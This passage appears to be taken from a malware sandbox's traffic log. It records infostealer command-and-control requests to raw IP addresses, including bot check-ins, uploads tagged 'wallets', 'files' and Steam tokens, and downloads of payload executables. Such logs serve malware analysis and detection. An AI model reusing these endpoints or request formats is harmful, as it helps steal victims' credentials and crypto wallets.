name="token"ba86b27587b55e0a53922c40d5d93a0f02f0d76e32692536c6b2761ba93f91564aeec626------IIIECAAKECFHIECBKJDHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IIIECAAKECFHIECBKJDHContent-Disposition: form-data; name="file"------IIIECAAKECFHIECBKJDH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIDBGDAFHJDHIDGDGIIHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEHJKJEBGHJJKEBGIECAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 38 36 62 32 37 35 38 37 62 35 35 65 30 61 35 33 39 32 32 63 34 30 64 35 64 39 33 61 30 66 30 32 66 30 64 37 36 65 33 32 36 39 32 35 33 36 63 36 62 32 37 36 31 62 61 39 33 66 39 31 35 36 34 61 65 65 63 36 32 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 43 41 2d 2d 0d 0a Data Ascii: ------JEHJKJEBGHJJKEBGIECAContent-Disposition: form-data; name="token"ba86b27587b55e0a53922c40d5d93a0f02f0d76e32692536c6b2761ba93f91564aeec626------JEHJKJEBGHJJKEBGIECAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JEHJKJEBGHJJKEBGIECAContent-Disposition: form-data; name="file"------JEHJKJEBGHJJKEBGIECA--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHIDHIEGIIIECAKEBFBHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IECBGIDAEHCGDGCBKEBGHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 43 42 47 49 44 41 45 48 43 47 44 47 43 42 4b 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 38 36 62 32 37 35 38 37 62 35 35 65 30 61 35 33 39 32 32 63 34 30 64 35 64 39 33 61 30 66 30 32 66 30 64 37 36 65 33 32 36 39 32 35 33 36 63 36 62 32 37 36 31 62 61 39 33 66 39 31 35 36 34 61 65 65 63 36 32 36 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 47 49 44 41 45 48 43 47 44 47 43 42 4b 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 47 49 44 41 45 48 43 47 44 47 43 42 4b 45 42 47 2d 2d 0d 0a Data Ascii: ------IECBGIDAEHCGDGCBKEBGContent-Disposition: form-data; name="token"ba86b27587b55e0a53922c40d5d93a0f02f0d76e32692536c6b2761ba93f91564aeec626------IECBGIDAEHCGDGCBKEBGContent-Disposition: form-data; name="message"wallets------IECBGIDAEHCGDGCBKEBG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBKEHJJDAAAAKECBGHDAHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 38 36 62 32 37 35 38 37 62 35 35 65 30 61 35 33 39 32 32 63 34 30 64 35 64 39 33 61 30 66 30 32 66 30 64 37 36 65 33 32 36 39 32 35 33 36 63 36 62 32 37 36 31 62 61 39 33 66 39 31 35 36 34 61 65 65 63 36 32 36 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 2d 2d 0d 0a Data Ascii: ------EBKEHJJDAAAAKECBGHDAContent-Disposition: form-data; name="token"ba86b27587b55e0a53922c40d5d93a0f02f0d76e32692536c6b2761ba93f91564aeec626------EBKEHJJDAAAAKECBGHDAContent-Disposition: form-data; name="message"files------EBKEHJJDAAAAKECBGHDA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCAAEHJDBKJJKFHJEBKFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 38 36 62 32 37 35 38 37 62 35 35 65 30 61 35 33 39 32 32 63 34 30 64 35 64 39 33 61 30 66 30 32 66 30 64 37 36 65 33 32 36 39 32 35 33 36 63 36 62 32 37 36 31 62 61 39 33 66 39 31 35 36 34 61 65 65 63 36 32 36 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 46 2d 2d 0d 0a Data Ascii: ------FCAAEHJDBKJJKFHJEBKFContent-Disposition: form-data; name="token"ba86b27587b55e0a53922c40d5d93a0f02f0d76e32692536c6b2761ba93f91564aeec626------FCAAEHJDBKJJKFHJEBKFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------FCAAEHJDBKJJKFHJEBKFContent-Disposition: form-data; name="file"------FCAAEHJDBKJJKFHJEBKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDBFBKKJDHJKECBGDAKHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 42 46 42 4b 4b 4a 44 48 4a 4b 45 43 42 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 38 36 62 32 37 35 38 37 62 35 35 65 30 61 35 33 39 32 32 63 34 30 64 35 64 39 33 61 30 66 30 32 66 30 64 37 36 65 33 32 36 39 32 35 33 36 63 36 62 32 37 36 31 62 61 39 33 66 39 31 35 36 34 61 65 65 63 36 32 36 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 46 42 4b 4b 4a 44 48 4a 4b 45 43 42 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 46 42 4b 4b 4a 44 48 4a 4b 45 43 42 47 44 41 4b 2d 2d 0d 0a Data Ascii: ------HJDBFBKKJDHJKECBGDAKContent-Disposition: form-data; name="token"ba86b27587b55e0a53922c40d5d93a0f02f0d76e32692536c6b2761ba93f91564aeec626------HJDBFBKKJDHJKECBGDAKContent-Disposition: form-data; name="message"ybncbhylepme------HJDBFBKKJDHJKECBGDAK--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJECGHJDBFIJJJKEHCBFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 38 36 62 32 37 35 38 37 62 35 35 65 30 61 35 33 39 32 32 63 34 30 64 35 64 39 33 61 30 66 30 32 66 30 64 37 36 65 33 32 36 39 32 35 33 36 63 36 62 32 37 36 31 62 61 39 33 66 39 31 35 36 34 61 65 65 63 36 32 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 46 2d 2d 0d 0a Data Ascii: ------JJECGHJDBFIJJJKEHCBFContent-Disposition: form-data; name="token"ba86b27587b55e0a53922c40d5d93a0f02f0d76e32692536c6b2761ba93f91564aeec626------JJECGHJDBFIJJJKEHCBFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JJECGHJDBFIJJJKEHCBF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 36 34 34 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006449001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /iNfkLAsWrCuVUxMyJkfW1731561474 HTTP/1.1Host: home.fvtejs5sr.topAccept: /
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 36 34 36 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006462001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 36 34 36 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006463001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Fri, 15 Nov 2024 15:05:27 GMTIf-None-Match: "67376337-1bd000"
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKECFIIEHCFHIECAFBAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 31 32 33 31 42 34 33 35 46 39 30 31 39 34 32 37 37 39 37 33 36 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 2d 2d 0d 0a Data Ascii: ------FBKECFIIEHCFHIECAFBAContent-Disposition: form-data; name="hwid"31231B435F901942779736------FBKECFIIEHCFHIECAFBAContent-Disposition: form-data; name="build"mars------FBKECFIIEHCFHIECAFBA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 36 34 36 34 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006464031&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 36 34 36 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006465001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHIDAFCGIEHIEBFCFBAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 48 49 44 41 46 43 47 49 45 48 49 45 42 46 43 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 31 32 33 31 42 34 33 35 46 39 30 31 39 34 32 37 37 39 37 33 36 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 44 41 46 43 47 49 45 48 49 45 42 46 43 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 44 41 46 43 47 49 45 48 49 45 42 46 43 46 42 41 2d 2d 0d 0a Data Ascii: ------DGHIDAFCGIEHIEBFCFBAContent-Disposition: form-data; name="hwid"31231B435F901942779736------DGHIDAFCGIEHIEBFCFBAContent-Disposition: form-data; name="build"mars------DGHIDAFCGIEHIEBFCFBA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtejs5sr.topAccept: /Content-Length: 462Content-Type: multipart/form-data; boundary=------------------------iORMldVajbM9Zvm9Nz3ADEData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 69 4f 52 4d 6c 64 56 61 6a 62 4d 39 5a 76 6d 39 4e 7a 33 41 44 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 44 69 62 75 62 6f 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 5a 12 10 2d 08 49 b8 e7 b7 9d d9 9b fe ba f0 ec a7 f2 5f ca 04 47 db d2 8d 22 ca a1 34 79 4d d8 e6 8d 9a 33 dc 7a 95 de 3d 72 81 cb 61 06 f1 82 